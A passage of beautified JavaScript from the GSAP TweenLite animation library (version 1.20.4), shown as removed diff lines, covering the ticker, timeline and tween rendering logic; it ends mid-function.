- var t = C() - P, - r, o; - if (t > a) { - n += t - s - } - P += t; - i.time = (P - n) / 1e3; - r = i.time - p; - if (!u || r > 0 || e === true) { - i.frame++; - p += r + (r >= m ? .004 : m - r); - o = true - } - if (e !== true) { - c = d(v) - } - if (o) { - i.dispatchEvent(l) - } - }; - Y.call(i); - i.time = i.frame = 0; - i.tick = function () { - v(true) - }; - i.lagSmoothing = function (e, t) { - if (!arguments.length) { - return a < 1 / f - } - a = e || 1 / f; - s = Math.min(t, a, 0) - }; - i.sleep = function () { - if (c == null) { - return - } - if (!r || !E) { - clearTimeout(c) - } else { - E(c) - } - d = h; - c = null; - if (i === g) { - y = false - } - }; - i.wake = function (e) { - if (c !== null) { - i.sleep() - } else if (e) { - n += -P + (P = C()) - } else if (i.frame > 10) { - P = C() - a + 5 - } - d = u === 0 ? h : !r || !D ? function (e) { - return setTimeout(e, (p - i.time) * 1e3 + 1 | 0) - } : D; - if (i === g) { - y = true - } - v(2) - }; - i.fps = function (e) { - if (!arguments.length) { - return u - } - u = e; - m = 1 / (u || 60); - p = this.time + m; - i.wake() - }; - i.useRAF = function (e) { - if (!arguments.length) { - return r - } - i.sleep(); - r = e; - i.fps(u) - }; - i.fps(e); - setTimeout(function () { - if (r === "auto" && i.frame < 5 && (o || {}).visibilityState !== "hidden") { - i.useRAF(false) - } - }, 1500) - }); - _ = d.Ticker.prototype = new d.events.EventDispatcher; - _.constructor = d.Ticker; - var A = k("core.Animation", function (e, t) { - this.vars = t = t || {}; - this._duration = this._totalDuration = e || 0; - this._delay = Number(t.delay) || 0; - this._timeScale = 1; - this._active = t.immediateRender === true; - this.data = t.data; - this._reversed = t.reversed === true; - if (!Z) { - return - } - if (!y) { - g.wake() - } - var i = this.vars.useFrames ? Q : Z; - i.add(this, i._time); - if (this.vars.paused) { - this.paused(true) - } - }); - g = A.ticker = new d.Ticker; - _ = A.prototype; - _._dirty = _._gc = _._initted = _._paused = false; - _._totalTime = _._time = 0; - _._rawPrevTime = -1; - _._next = _._last = _._onUpdate = _._timeline = _.timeline = null; - _._paused = false; - var O = function () { - if (y && C() - P > 2e3 && ((o || {}).visibilityState !== "hidden" || !g.lagSmoothing())) { - g.wake() - } - var e = setTimeout(O, 2e3); - if (e.unref) { - e.unref() - } - }; - O(); - _.play = function (e, t) { - if (e != null) { - this.seek(e, t) - } - return this.reversed(false).paused(false) - }; - _.pause = function (e, t) { - if (e != null) { - this.seek(e, t) - } - return this.paused(true) - }; - _.resume = function (e, t) { - if (e != null) { - this.seek(e, t) - } - return this.paused(false) - }; - _.seek = function (e, t) { - return this.totalTime(Number(e), t !== false) - }; - _.restart = function (e, t) { - return this.reversed(false).paused(false).totalTime(e ? -this._delay : 0, t !== false, true) - }; - _.reverse = function (e, t) { - if (e != null) { - this.seek(e || this.totalDuration(), t) - } - return this.reversed(true).paused(false) - }; - _.render = function (e, t, i) {}; - _.invalidate = function () { - this._time = this._totalTime = 0; - this._initted = this._gc = false; - this._rawPrevTime = -1; - if (this._gc || !this.timeline) { - this._enabled(true) - } - return this - }; - _.isActive = function () { - var e = this._timeline, - t = this._startTime, - i; - return !e || !this._gc && !this._paused && e.isActive() && (i = e.rawTime(true)) >= t && i < t + this.totalDuration() / this._timeScale - 1e-7 - }; - _._enabled = function (e, t) { - if (!y) { - g.wake() - } - this._gc = !e; - this._active = this.isActive(); - if (t !== true) { - if (e && !this.timeline) { - this._timeline.add(this, this._startTime - this._delay) - } else if (!e && this.timeline) { - this._timeline._remove(this, true) - } - } - return false - }; - _._kill = function (e, t) { - return this._enabled(false, false) - }; - _.kill = function (e, t) { - this._kill(e, t); - return this - }; - _._uncache = function (e) { - var t = e ? this : this.timeline; - while (t) { - t._dirty = true; - t = t.timeline - } - return this - }; - _._swapSelfInParams = function (e) { - var t = e.length, - i = e.concat(); - while (--t > -1) { - if (e[t] === "{self}") { - i[t] = this - } - } - return i - }; - _._callback = function (e) { - var t = this.vars, - i = t[e], - n = t[e + "Params"], - r = t[e + "Scope"] || t.callbackScope || this, - a = n ? n.length : 0; - switch (a) { - case 0: - i.call(r); - break; - case 1: - i.call(r, n[0]); - break; - case 2: - i.call(r, n[0], n[1]); - break; - default: - i.apply(r, n) - } - }; - _.eventCallback = function (e, t, i, n) { - if ((e || "").substr(0, 2) === "on") { - var r = this.vars; - if (arguments.length === 1) { - return r[e] - } - if (t == null) { - delete r[e] - } else { - r[e] = t; - r[e + "Params"] = m(i) && i.join("").indexOf("{self}") !== -1 ? this._swapSelfInParams(i) : i; - r[e + "Scope"] = n - } - if (e === "onUpdate") { - this._onUpdate = t - } - } - return this - }; - _.delay = function (e) { - if (!arguments.length) { - return this._delay - } - if (this._timeline.smoothChildTiming) { - this.startTime(this._startTime + e - this._delay) - } - this._delay = e; - return this - }; - _.duration = function (e) { - if (!arguments.length) { - this._dirty = false; - return this._duration - } - this._duration = this._totalDuration = e; - this._uncache(true); - if (this._timeline.smoothChildTiming) - if (this._time > 0) - if (this._time < this._duration) - if (e !== 0) { - this.totalTime(this._totalTime * (e / this._duration), true) - } - return this - }; - _.totalDuration = function (e) { - this._dirty = false; - return !arguments.length ? this._totalDuration : this.duration(e) - }; - _.time = function (e, t) { - if (!arguments.length) { - return this._time - } - if (this._dirty) { - this.totalDuration() - } - return this.totalTime(e > this._duration ? this._duration : e, t) - }; - _.totalTime = function (e, t, i) { - if (!y) { - g.wake() - } - if (!arguments.length) { - return this._totalTime - } - if (this._timeline) { - if (e < 0 && !i) { - e += this.totalDuration() - } - if (this._timeline.smoothChildTiming) { - if (this._dirty) { - this.totalDuration() - } - var n = this._totalDuration, - r = this._timeline; - if (e > n && !i) { - e = n - } - this._startTime = (this._paused ? this._pauseTime : r._time) - (!this._reversed ? e : n - e) / this._timeScale; - if (!r._dirty) { - this._uncache(false) - } - if (r._timeline) { - while (r._timeline) { - if (r._timeline._time !== (r._startTime + r._totalTime) / r._timeScale) { - r.totalTime(r._totalTime, true) - } - r = r._timeline - } - } - } - if (this._gc) { - this._enabled(true, false) - } - if (this._totalTime !== e || this._duration === 0) { - if (z.length) { - te() - } - this.render(e, t, false); - if (z.length) { - te() - } - } - } - return this - }; - _.progress = _.totalProgress = function (e, t) { - var i = this.duration(); - return !arguments.length ? i ? this._time / i : this.ratio : this.totalTime(i * e, t) - }; - _.startTime = function (e) { - if (!arguments.length) { - return this._startTime - } - if (e !== this._startTime) { - this._startTime = e; - if (this.timeline) - if (this.timeline._sortChildren) { - this.timeline.add(this, e - this._delay) - } - } - return this - }; - _.endTime = function (e) { - return this._startTime + (e != false ? this.totalDuration() : this.duration()) / this._timeScale - }; - _.timeScale = function (e) { - if (!arguments.length) { - return this._timeScale - } - var t, i; - e = e || f; - if (this._timeline && this._timeline.smoothChildTiming) { - t = this._pauseTime; - i = t || t === 0 ? t : this._timeline.totalTime(); - this._startTime = i - (i - this._startTime) * this._timeScale / e - } - this._timeScale = e; - i = this.timeline; - while (i && i.timeline) { - i._dirty = true; - i.totalDuration(); - i = i.timeline - } - return this - }; - _.reversed = function (e) { - if (!arguments.length) { - return this._reversed - } - if (e != this._reversed) { - this._reversed = e; - this.totalTime(this._timeline && !this._timeline.smoothChildTiming ? this.totalDuration() - this._totalTime : this._totalTime, true) - } - return this - }; - _.paused = function (e) { - if (!arguments.length) { - return this._paused - } - var t = this._timeline, - i, n; - if (e != this._paused) - if (t) { - if (!y && !e) { - g.wake() - } - i = t.rawTime(); - n = i - this._pauseTime; - if (!e && t.smoothChildTiming) { - this._startTime += n; - this._uncache(false) - } - this._pauseTime = e ? i : null; - this._paused = e; - this._active = this.isActive(); - if (!e && n !== 0 && this._initted && this.duration()) { - i = t.smoothChildTiming ? this._totalTime : (i - this._startTime) / this._timeScale; - this.render(i, i === this._totalTime, true) - } - } - if (this._gc && !e) { - this._enabled(true, false) - } - return this - }; - var j = k("core.SimpleTimeline", function (e) { - A.call(this, 0, e); - this.autoRemoveChildren = this.smoothChildTiming = true - }); - _ = j.prototype = new A; - _.constructor = j; - _.kill()._gc = false; - _._first = _._last = _._recent = null; - _._sortChildren = false; - _.add = _.insert = function (e, t, i, n) { - var r, a; - e._startTime = Number(t || 0) + e._delay; - if (e._paused) - if (this !== e._timeline) { - e._pauseTime = e._startTime + (this.rawTime() - e._startTime) / e._timeScale - } - if (e.timeline) { - e.timeline._remove(e, true) - } - e.timeline = e._timeline = this; - if (e._gc) { - e._enabled(true, true) - } - r = this._last; - if (this._sortChildren) { - a = e._startTime; - while (r && r._startTime > a) { - r = r._prev - } - } - if (r) { - e._next = r._next; - r._next = e - } else { - e._next = this._first; - this._first = e - } - if (e._next) { - e._next._prev = e - } else { - this._last = e - } - e._prev = r; - this._recent = e; - if (this._timeline) { - this._uncache(true) - } - return this - }; - _._remove = function (e, t) { - if (e.timeline === this) { - if (!t) { - e._enabled(false, true) - } - if (e._prev) { - e._prev._next = e._next - } else if (this._first === e) { - this._first = e._next - } - if (e._next) { - e._next._prev = e._prev - } else if (this._last === e) { - this._last = e._prev - } - e._next = e._prev = e.timeline = null; - if (e === this._recent) { - this._recent = this._last - } - if (this._timeline) { - this._uncache(true) - } - } - return this - }; - _.render = function (e, t, i) { - var n = this._first, - r; - this._totalTime = this._time = this._rawPrevTime = e; - while (n) { - r = n._next; - if (n._active || e >= n._startTime && !n._paused && !n._gc) { - if (!n._reversed) { - n.render((e - n._startTime) * n._timeScale, t, i) - } else { - n.render((!n._dirty ? n._totalDuration : n.totalDuration()) - (e - n._startTime) * n._timeScale, t, i) - } - } - n = r - } - }; - _.rawTime = function () { - if (!y) { - g.wake() - } - return this._totalTime - }; - var H = k("TweenLite", function (e, t, n) { - A.call(this, t, n); - this.render = H.prototype.render; - if (e == null) { - throw "Cannot tween a null target." - } - this.target = e = typeof e !== "string" ? e : H.selector(e) || e; - var r = e.jquery || e.length && e !== i && e[0] && (e[0] === i || e[0].nodeType && e[0].style && !e.nodeType), - a = this.vars.overwrite, - s, o, l; - this._overwrite = a = a == null ? K[H.defaultOverwrite] : typeof a === "number" ? a >> 0 : K[a]; - if ((r || e instanceof Array || e.push && m(e)) && typeof e[0] !== "number") { - this._targets = l = c(e); - this._propLookup = []; - this._siblings = []; - for (s = 0; s < l.length; s++) { - o = l[s]; - if (!o) { - l.splice(s--, 1); - continue - } else if (typeof o === "string") { - o = l[s--] = H.selector(o); - if (typeof o === "string") { - l.splice(s + 1, 1) - } - continue - } else if (o.length && o !== i && o[0] && (o[0] === i || o[0].nodeType && o[0].style && !o.nodeType)) { - l.splice(s--, 1); - this._targets = l = l.concat(c(o)); - continue - } - this._siblings[s] = ie(o, this, false); - if (a === 1) - if (this._siblings[s].length > 1) { - re(o, this, null, 1, this._siblings[s]) - } - } - } else { - this._propLookup = {}; - this._siblings = ie(e, this, false); - if (a === 1) - if (this._siblings.length > 1) { - re(e, this, null, 1, this._siblings) - } - } - if (this.vars.immediateRender || t === 0 && this._delay === 0 && this.vars.immediateRender !== false) { - this._time = -f; - this.render(Math.min(0, -this._delay)) - } - }, true), - I = function (e) { - return e && e.length && e !== i && e[0] && (e[0] === i || e[0].nodeType && e[0].style && !e.nodeType) - }, - F = function (e, t) { - var i = {}, - n; - for (n in e) { - if (!J[n] && (!(n in t) || n === "transform" || n === "x" || n === "y" || n === "width" || n === "height" || n === "className" || n === "border") && (!G[n] || G[n] && G[n]._autoCSS)) { - i[n] = e[n]; - delete e[n] - } - } - e.css = i - }; - _ = H.prototype = new A; - _.constructor = H; - _.kill()._gc = false; - _.ratio = 0; - _._firstPT = _._targets = _._overwrittenProps = _._startAt = null; - _._notifyPluginsOfEnabled = _._lazy = false; - H.version = "1.20.4"; - H.defaultEase = _._ease = new T(null, null, 1, 1); - H.defaultOverwrite = "auto"; - H.ticker = g; - H.autoSleep = 120; - H.lagSmoothing = function (e, t) { - g.lagSmoothing(e, t) - }; - H.selector = i.$ || i.jQuery || function (e) { - var t = i.$ || i.jQuery; - if (t) { - H.selector = t; - return t(e) - } - return typeof o === "undefined" ? e : o.querySelectorAll ? o.querySelectorAll(e) : o.getElementById(e.charAt(0) === "#" ? e.substr(1) : e) - }; - var z = [], - R = {}, - N = /(?:(-|-=|\+=)?\d*\.?\d*(?:e[\-+]?\d+)?)[0-9]/gi, - W = /[\+-]=-?[\.\d]/, - B = function (e) { - var t = this._firstPT, - i = 1e-6, - n; - while (t) { - n = !t.blob ? t.c * e + t.s : e === 1 && this.end != null ? this.end : e ? this.join("") : this.start; - if (t.m) { - n = t.m(n, this._target || t.t) - } else if (n < i) - if (n > -i && !t.blob) { - n = 0 - } - if (!t.f) { - t.t[t.p] = n - } else if (t.fp) { - t.t[t.p](t.fp, n) - } else { - t.t[t.p](n) - } - t = t._next - } - }, - q = function (e, t, i, n) { - var r = [], - a = 0, - s = "", - o = 0, - l, u, d, f, c, h, m; - r.start = e; - r.end = t; - e = r[0] = e + ""; - t = r[1] = t + ""; - if (i) { - i(r); - e = r[0]; - t = r[1] - } - r.length = 0; - l = e.match(N) || []; - u = t.match(N) || []; - if (n) { - n._next = null; - n.blob = 1; - r._firstPT = r._applyPT = n - } - c = u.length; - for (f = 0; f < c; f++) { - m = u[f]; - h = t.substr(a, t.indexOf(m, a) - a); - s += h || !f ? h : ","; - a += h.length; - if (o) { - o = (o + 1) % 5 - } else if (h.substr(-5) === "rgba(") { - o = 1 - } - if (m === l[f] || l.length <= f) { - s += m - } else { - if (s) { - r.push(s); - s = "" - } - d = parseFloat(l[f]); - r.push(d); - r._firstPT = { - _next: r._firstPT, - t: r, - p: r.length - 1, - s: d, - c: (m.charAt(1) === "=" ? parseInt(m.charAt(0) + "1", 10) * parseFloat(m.substr(2)) : parseFloat(m) - d) || 0, - f: 0, - m: o && o < 4 ? Math.round : 0 - } - } - a += m.length - } - s += t.substr(a); - if (s) { - r.push(s) - } - r.setRatio = B; - if (W.test(t)) { - r.end = null - } - return r - }, - $ = function (e, t, i, n, r, a, s, o, l) { - if (typeof n === "function") { - n = n(l || 0, e) - } - var u = typeof e[t], - d = u !== "function" ? "" : t.indexOf("set") || typeof e["get" + t.substr(3)] !== "function" ? t : "get" + t.substr(3), - f = i !== "get" ? i : !d ? e[t] : s ? e[d](s) : e[d](), - c = typeof n === "string" && n.charAt(1) === "=", - h = { - t: e, - p: t, - s: f, - f: u === "function", - pg: 0, - n: r || t, - m: !a ? 0 : typeof a === "function" ? a : Math.round, - pr: 0, - c: c ? parseInt(n.charAt(0) + "1", 10) * parseFloat(n.substr(2)) : parseFloat(n) - f || 0 - }, - m; - if (typeof f !== "number" || typeof n !== "number" && !c) { - if (s || isNaN(f) || !c && isNaN(n) || typeof f === "boolean" || typeof n === "boolean") { - h.fp = s; - m = q(f, c ? parseFloat(h.s) + h.c + (h.s + "").replace(/[0-9\-\.]/g, "") : n, o || H.defaultStringFilter, h); - h = { - t: m, - p: "setRatio", - s: 0, - c: 1, - f: 2, - pg: 0, - n: r || t, - pr: 0, - m: 0 - } - } else { - h.s = parseFloat(f); - if (!c) { - h.c = parseFloat(n) - h.s || 0 - } - } - } - if (h.c) { - if (h._next = this._firstPT) { - h._next._prev = h - } - this._firstPT = h; - return h - } - }, - V = H._internals = { - isArray: m, - isSelector: I, - lazyTweens: z, - blobDif: q - }, - G = H._plugins = {}, - U = V.tweenLookup = {}, - X = 0, - J = V.reservedProps = { - ease: 1, - delay: 1, - overwrite: 1, - onComplete: 1, - onCompleteParams: 1, - onCompleteScope: 1, - useFrames: 1, - runBackwards: 1, - startAt: 1, - onUpdate: 1, - onUpdateParams: 1, - onUpdateScope: 1, - onStart: 1, - onStartParams: 1, - onStartScope: 1, - onReverseComplete: 1, - onReverseCompleteParams: 1, - onReverseCompleteScope: 1, - onRepeat: 1, - onRepeatParams: 1, - onRepeatScope: 1, - easeParams: 1, - yoyo: 1, - immediateRender: 1, - repeat: 1, - repeatDelay: 1, - data: 1, - paused: 1, - reversed: 1, - autoCSS: 1, - lazy: 1, - onOverwrite: 1, - callbackScope: 1, - stringFilter: 1, - id: 1, - yoyoEase: 1 - }, - K = { - none: 0, - all: 1, - auto: 2, - concurrent: 3, - allOnStart: 4, - preexisting: 5, - true: 1, - false: 0 - }, - Q = A._rootFramesTimeline = new j, - Z = A._rootTimeline = new j, - ee = 30, - te = V.lazyRender = function () { - var e = z.length, - t; - R = {}; - while (--e > -1) { - t = z[e]; - if (t && t._lazy !== false) { - t.render(t._lazy[0], t._lazy[1], true); - t._lazy = false - } - } - z.length = 0 - }; - Z._startTime = g.time; - Q._startTime = g.frame; - Z._active = Q._active = true; - setTimeout(te, 1); - A._updateRoot = H.render = function () { - var e, t, i; - if (z.length) { - te() - } - Z.render((g.time - Z._startTime) * Z._timeScale, false, false); - Q.render((g.frame - Q._startTime) * Q._timeScale, false, false); - if (z.length) { - te() - } - if (g.frame >= ee) { - ee = g.frame + (parseInt(H.autoSleep, 10) || 120); - for (i in U) { - t = U[i].tweens; - e = t.length; - while (--e > -1) { - if (t[e]._gc) { - t.splice(e, 1) - } - } - if (t.length === 0) { - delete U[i] - } - } - i = Z._first; - if (!i || i._paused) - if (H.autoSleep && !Q._first && g._listeners.tick.length === 1) { - while (i && i._paused) { - i = i._next - } - if (!i) { - g.sleep() - } - } - } - }; - g.addEventListener("tick", A._updateRoot); - var ie = function (e, t, i) { - var n = e._gsTweenID, - r, a; - if (!U[n || (e._gsTweenID = n = "t" + X++)]) { - U[n] = { - target: e, - tweens: [] - } - } - if (t) { - r = U[n].tweens; - r[a = r.length] = t; - if (i) { - while (--a > -1) { - if (r[a] === t) { - r.splice(a, 1) - } - } - } - } - return U[n].tweens - }, - ne = function (e, t, i, n) { - var r = e.vars.onOverwrite, - a, s; - if (r) { - a = r(e, t, i, n) - } - r = H.onOverwrite; - if (r) { - s = r(e, t, i, n) - } - return a !== false && s !== false - }, - re = function (e, t, i, n, r) { - var a, s, o, l; - if (n === 1 || n >= 4) { - l = r.length; - for (a = 0; a < l; a++) { - if ((o = r[a]) !== t) { - if (!o._gc) { - if (o._kill(null, e, t)) { - s = true - } - } - } else if (n === 5) { - break - } - } - return s - } - var u = t._startTime + f, - d = [], - c = 0, - h = t._duration === 0, - m; - a = r.length; - while (--a > -1) { - if ((o = r[a]) === t || o._gc || o._paused) {} else if (o._timeline !== t._timeline) { - m = m || ae(t, 0, h); - if (ae(o, m, h) === 0) { - d[c++] = o - } - } else if (o._startTime <= u) - if (o._startTime + o.totalDuration() / o._timeScale > u) - if (!((h || !o._initted) && u - o._startTime <= 2e-10)) { - d[c++] = o - } - } - a = c; - while (--a > -1) { - o = d[a]; - if (n === 2) - if (o._kill(i, e, t)) { - s = true - } - if (n !== 2 || !o._firstPT && o._initted) { - if (n !== 2 && !ne(o, t)) { - continue - } - if (o._enabled(false, false)) { - s = true - } - } - } - return s - }, - ae = function (e, t, i) { - var n = e._timeline, - r = n._timeScale, - a = e._startTime; - while (n._timeline) { - a += n._startTime; - r *= n._timeScale; - if (n._paused) { - return -100 - } - n = n._timeline - } - a /= r; - return a > t ? a - t : i && a === t || !e._initted && a - t < 2 * f ? f : (a += e.totalDuration() / e._timeScale / r) > t + f ? 0 : a - t - f - }; - _._init = function () { - var e = this.vars, - t = this._overwrittenProps, - i = this._duration, - n = !!e.immediateRender, - r = e.ease, - a, s, o, l, u, d; - if (e.startAt) { - if (this._startAt) { - this._startAt.render(-1, true); - this._startAt.kill() - } - u = {}; - for (l in e.startAt) { - u[l] = e.startAt[l] - } - u.data = "isStart"; - u.overwrite = false; - u.immediateRender = true; - u.lazy = n && e.lazy !== false; - u.startAt = u.delay = null; - u.onUpdate = e.onUpdate; - u.onUpdateParams = e.onUpdateParams; - u.onUpdateScope = e.onUpdateScope || e.callbackScope || this; - this._startAt = H.to(this.target, 0, u); - if (n) { - if (this._time > 0) { - this._startAt = null - } else if (i !== 0) { - return - } - } - } else if (e.runBackwards && i !== 0) { - if (this._startAt) { - this._startAt.render(-1, true); - this._startAt.kill(); - this._startAt = null - } else { - if (this._time !== 0) { - n = false - } - o = {}; - for (l in e) { - if (!J[l] || l === "autoCSS") { - o[l] = e[l] - } - } - o.overwrite = 0; - o.data = "isFromStart"; - o.lazy = n && e.lazy !== false; - o.immediateRender = n; - this._startAt = H.to(this.target, 0, o); - if (!n) { - this._startAt._init(); - this._startAt._enabled(false); - if (this.vars.immediateRender) { - this._startAt = null - } - } else if (this._time === 0) { - return - } - } - } - this._ease = r = !r ? H.defaultEase : r instanceof T ? r : typeof r === "function" ? new T(r, e.easeParams) : x[r] || H.defaultEase; - if (e.easeParams instanceof Array && r.config) { - this._ease = r.config.apply(r, e.easeParams) - } - this._easeType = this._ease._type; - this._easePower = this._ease._power; - this._firstPT = null; - if (this._targets) { - d = this._targets.length; - for (a = 0; a < d; a++) { - if (this._initProps(this._targets[a], this._propLookup[a] = {}, this._siblings[a], t ? t[a] : null, a)) { - s = true - } - } - } else { - s = this._initProps(this.target, this._propLookup, this._siblings, t, 0) - } - if (s) { - H._onPluginEvent("_onInitAllProps", this) - } - if (t) - if (!this._firstPT) - if (typeof this.target !== "function") { - this._enabled(false, false) - } - if (e.runBackwards) { - o = this._firstPT; - while (o) { - o.s += o.c; - o.c = -o.c; - o = o._next - } - } - this._onUpdate = e.onUpdate; - this._initted = true - }; - _._initProps = function (e, t, n, r, a) { - var s, o, l, u, d, f; - if (e == null) { - return false - } - if (R[e._gsTweenID]) { - te() - } - if (!this.vars.css) - if (e.style) - if (e !== i && e.nodeType) - if (G.css) - if (this.vars.autoCSS !== false) { - F(this.vars, e) - } - for (s in this.vars) { - f = this.vars[s]; - if (J[s]) { - if (f) - if (f instanceof Array || f.push && m(f)) - if (f.join("").indexOf("{self}") !== -1) { - this.vars[s] = f = this._swapSelfInParams(f, this) - } - } else if (G[s] && (u = new G[s])._onInitTween(e, this.vars[s], this, a)) { - this._firstPT = d = { - _next: this._firstPT, - t: u, - p: "setRatio", - s: 0, - c: 1, - f: 1, - n: s, - pg: 1, - pr: u._priority, - m: 0 - }; - o = u._overwriteProps.length; - while (--o > -1) { - t[u._overwriteProps[o]] = this._firstPT - } - if (u._priority || u._onInitAllProps) { - l = true - } - if (u._onDisable || u._onEnable) { - this._notifyPluginsOfEnabled = true - } - if (d._next) { - d._next._prev = d - } - } else { - t[s] = $.call(this, e, s, "get", f, s, 0, null, this.vars.stringFilter, a) - } - } - if (r) - if (this._kill(r, e)) { - return this._initProps(e, t, n, r, a) - } - if (this._overwrite > 1) - if (this._firstPT) - if (n.length > 1) - if (re(e, this, t, this._overwrite, n)) { - this._kill(t, e); - return this._initProps(e, t, n, r, a) - } - if (this._firstPT) - if (this.vars.lazy !== false && this._duration || this.vars.lazy && !this._duration) { - R[e._gsTweenID] = true - } - return l - }; - _.render = function (e, t, i) { - var n = this._time, - r = this._duration, - a = this._rawPrevTime, - s, o, l, u; - if (e >= r - 1e-7 && e >= 0) { - this._totalTime = this._time = r; - this.ratio = this._ease._calcEnd ? this._ease.getRatio(1) : 1; - if (!this._reversed) { - s = true; - o = "onComplete"; - i = i || this._timeline.autoRemoveChildren - } - if (r === 0) - if (this._initted || !this.vars.lazy || i) { - if (this._startTime === this._timeline._duration) { - e = 0 - } - if (a < 0 || e <= 0 && e >= -1e-7 || a === f && this.data !== "isPause") - if (a !== e) { - i = true; - if (a > f) { - o = "onReverseComplete" - } - } - this._rawPrevTime = u = !t || e || a === e ? e : f - } - } else if (e < 1e-7) { - this._totalTime = this._time = 0; - this.ratio = this._ease._calcEnd ? this._ease.getRatio(0) : 0; - if (n !== 0 || r === 0 && a > 0) { - o = "onReverseComplete"; - s = this._reversed - } - if (e < 0) { - this._active = false; - if (r === 0) - if (this._initted || !this.vars.lazy || i) { - if (a >= 0 && !(a === f && this.data === "isPause")) { - i = true - } - this._rawPrevTime = u = !t || e || a === e ? e : f - } - } - if (!this._initted || this._startAt && this._startAt.progress()) { - i = true - } - } else { - this._totalTime = this._time = e; - if (this._easeType) { - var d = e / r, - c = this._easeType, - h = this._easePower; - if (c === 1 || c === 3 && d >= .5) { - d = 1 - d - } - if (c === 3) { - d *= 2 - } - if (h === 1) { - d *= d - } else if (h === 2) { - d *= d * d - } else if (h === 3) { - d *= d * d * d - } else if (h === 4) { - d *= d * d * d * d - } - if (c === 1) { - this.ratio = 1 - d - } else if (c === 2) { - this.ratio = d - } else if (e / r < .5) { - this.ratio = d / 2 - } else { - this.ratio = 1 - d / 2 - } - } else { - this.ratio = this._ease.getRatio(e / r) - } - } - if (this._time === n && !i) { - return - } else if (!this._initted) { - this._init(); - if (!this._initted || this._gc) { - return - } else if (!i && this._firstPT && (this.vars.lazy !== false && this._duration || this.vars.lazy && !this._duration)) { - this._time = this._totalTime = n; - this._rawPrevTime = a; - z.push(this); - this._lazy = [e, t]; - return - } - if (this._time && !s) { - this.ratio = this._ease.getRatio(this._time / r) - } else if (s && this._ease._calcEnd) { - this.ratio = this._ease.getRatio(this._time === 0 ? 0 : 1) - } - } - if (this._lazy !== false) { - this._lazy = false - } - if (!this._active) - if (!this._paused && this._time !== n && e >= 0) { - this._active = true - } - if (n === 0) { - if (this._startAt) { - if (e >= 0) { - this._startAt.render(e, true, i) - } else if (!o) { - o = "_dummyGS" - } - } - if (this.vars.onStart) - if (this._time !== 0 || r === 0) - if (!t) { - this._callback("onStart") - } - } - l = this._firstPT; - while (l) { - if (l.f) { - l.t[l.p](l.c * this.ratio + l.s) - } else { - l.t[l.p] = l.c * this.ratio + l.s - } - l = l._next - } - if (this._onUpdate) { - if (e < 0) - if (this._startAt && e !== -1e-4) { - this._startAt.render(e, true, i) - } - if (!t) - if (this._time !== n || s || i) { - this._callback("onUpdate") - } - } - if (o) - if (!this._gc || i) { - if (e < 0 && this._startAt && !this._onUpdate && e !== -1e-4) { - this._startAt.render(e, true, i) - } - if (s) { - if (this._timeline.autoRemoveChildren) { - this._enabled(false, false) - } - this._active = false - } - if (!t && this.vars[o]) { - this._callback(o) - } - if (r === 0 && this._rawPrevTime === f && u !== f) { - this._rawPrevTime = 0 - } - } - }; - _._kill = function (e, t, i) { - if (e === "all") { - e = null - } - if (e == null) - if (t == null || t === this.target) { - this._lazy = false; - return this._enabled(false, false) - } - t = typeof t !== "string" ? t || this._targets || this.target : H.selector(t) || t; - var n = i && this._time && i._startTime === this._startTime && this._timeline === i._timeline, - r, a, s, o, l, u, d, f, c; - if ((m(t) || I(t)) && typeof t[0] !== "number") { - r = t.length; - while (--r > -1) { - if (this._kill(e, t[r], i)) { - u = true - } - } - } else { - if (this._targets) { - r = this._targets.length; - while (--r > -1) { - if (t === this._targets[r]) { - l = this._propLookup[r] || {}; - this._overwrittenProps = this._overwrittenProps || []; - a = this._overwrittenProps[r] = e ? this._overwrittenProps[r] || {} : "all"; - break - } - } - } else if (t !== this.target) { - return false - } else { - l = this._propLookup; - a = this._overwrittenProps = e ? this._overwrittenProps || {} : "all" - } - if (l) { - d = e || l; - f = e !== a && a !== "all" && e !== l && (typeof e !== "object" || !e._tempKill); - if (i && (H.onOverwrite || this.vars.onOverwrite)) { - for (s in d) { - if (l[s]) { - if (!c) { - c = [] - } - c.push(s) - } - } - if ((c || !e) && !ne(this, i, t, c)) { - return false - } - } - for (s in d) { - if (o = l[s]) { - if (n) { - if (o.f) { - o.t[o.p](o.s) - } else { - o.t[o.p] = o.s - } - u = true - } - if (o.pg && o.t._kill(d)) { - u = true - } - if (!o.pg || o.t._overwriteProps.length === 0) { - if (o._prev) { - o._prev._next = o._next - } else if (o === this._firstPT) { - this._firstPT = o._next - } - if (o._next) { - o._next._prev = o._prev - } - o._next = o._prev = null - } - delete l[s] - } - if (f) { - a[s] = 1 - } - } - if (!this._firstPT && this._initted) { - this._enabled(false, false) - } - } - } - return u - }; - _.invalidate = function () { - if (this._notifyPluginsOfEnabled) { - H._onPluginEvent("_onDisable", this) - } - this._firstPT = this._overwrittenProps = this._startAt = this._onUpdate = null; - this._notifyPluginsOfEnabled = this._active = this._lazy = false; - this._propLookup = this._targets ? {} : []; - A.prototype.invalidate.call(this); - if (this.vars.immediateRender) { - this._time = -f; - this.render(Math.min(0, -this._delay)) - } - return this - }; - _._enabled = function (e, t) { - if (!y) { - g.wake() - } - if (e && this._gc) { - var i = this._targets, - n; - if (i) { - n = i.length; - while (--n > -1) { - this._siblings[n] = ie(i[n], this, true) - } - } else { - this._siblings = ie(this.target, this, true) - } - } - A.prototype._enabled.call(this, e, t); - if (this._notifyPluginsOfEnabled) - if (this._firstPT) { - return H._onPluginEvent(e ? "_onEnable" : "_onDisable", this) - } - return false - }; - H.to = function (e, t, i) { - return new H(e, t, i) - }; - H.from = function (e, t, i) { - i.runBackwards = true; - i.immediateRender = i.immediateRender != false; - return new H(e, t, i) - }; - H.fromTo = function (e, t, i, n) { - n.startAt = i; - n.immediateRender = n.immediateRender != false && i.immediateRender != false; - return new H(e, t, n) - }; - H.delayedCall = function (e, t, i, n, r) { - return new H(t, 0, { - delay: e, - onComplete: t, - onCompleteParams: i, - callbackScope: n, - onReverseComplete: t, - onReverseCompleteParams: i, - immediateRender: false, - lazy: false, - useFrames: r, - overwrite: 0 - }) - }; - H.set = function (e, t) { - return new H(e, 0, t) - }; - H.getTweensOf = function (e, t) { - if (e == null) { - return [] - } - e = typeof e !== "string" ? e : H.selector(e) || e; - var i, n, r, a; - if ((m(e) || I(e)) && typeof e[0] !== "number") { - i = e.length; - n = []; - while (--i > -1) { - n = n.concat(H.getTweensOf(e[i], t)) - } - i = n.length; - while (--i > -1) { - a = n[i]; - r = i; - while (--r > -1) { - if (a === n[r]) { - n.splice(i, 1) - } - } - } - } else if (e._gsTweenID) { - n = ie(e).concat(); - i = n.length; - while (--i > -1) { - if (n[i]._gc || t && !n[i].isActive()) { - 